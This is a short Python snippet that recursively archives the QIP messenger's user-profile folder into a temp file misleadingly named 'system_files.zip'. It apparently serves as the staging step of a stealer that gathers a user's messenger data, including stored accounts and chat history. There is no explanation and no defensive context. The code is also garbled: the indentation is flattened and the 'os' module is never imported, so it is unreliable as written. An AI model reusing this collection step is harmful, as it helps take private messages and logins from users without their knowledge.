import zipfile
  def addToZip(zf, path, zippath):
  if os.path.isfile(path):
  zf.write(path, zippath, zipfile.ZIP_DEFLATED)
  elif os.path.isdir(path):
  for nm in os.listdir(path):
  addToZip(zf,
  os.path.join(path, nm),
  os.path.join(zippath, nm)
  )
  zip_file = r'C:\Windows\Temp\system_files.zip'
  zf = zipfile.ZipFile(zip_file, 'w', allowZip64=True)
  src = r'C:\Program Files\QIP\Users\\'
  addToZip(zf, src, os.path.basename(src))
  zf.close()